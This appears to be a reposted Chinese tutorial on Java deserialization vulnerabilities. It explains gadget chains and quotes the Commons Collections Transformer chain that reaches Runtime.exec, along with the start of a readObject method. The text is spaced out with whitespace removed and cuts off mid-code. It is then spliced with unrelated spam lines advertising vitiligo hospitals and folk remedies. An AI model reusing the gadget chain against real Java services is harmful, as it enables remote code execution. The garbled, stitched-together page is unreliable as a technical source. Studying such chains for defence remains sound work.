JAVA反序列化安全

漏洞简介:

反序列化漏洞有十年的历史,存在于不同的编程语言中,最为明显的当属Java、PHP、Python、Ruby。漏洞的本质就是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码。

反序列化漏洞特点:

1)、反序列化对象自身的构造函数或者readObject()函数体中有执行代码的能力。

2)、反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。

3)、返序列化的对象readObject()中可以调用另外一个对象,另外一个对应在调用另外一个对象,第三个对象有执行代码的能力,以此类推。

而上面掉用过程就是一个执行链,也叫做Gadget,在构造Gadget一般要用到Java的反射机制。

从序列化分类进行分析:

1、Binary序列化反序列化:Object--serialize--data--unerialize--Object

CommonsCollections反序列化漏洞

TransformedMap类publicstaticMapdecorate(Mapmap,TransformerkeyTransformer,TransformervalueTransformer)方法可以生成Map对象,并且当Map对象进行get/set操作可执行任意代码。--炸弹

Transformer类有执行代码的构造方法

Transformer[]transforms=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String[].class},newObject[]{execArgs})};

AnnotationInvocationHandler的构造函数参数含有Map对象的,并且在readObject中有对Map的setVlaue操作方法。--导火索

privatevoidreadObject(java.io.ObjectInputStreams)throwsjava.io.IOException,ClassNotFoundException{s.defaultReadObject();//Checktomakesurethattypeshavenotevolvedin







































北京看白癜风哪家医院最好
偏方治白癜风



转载请注明:http://www.92nongye.com/xxmb/204613091.html

  • 上一篇文章:
  •   
  • 下一篇文章: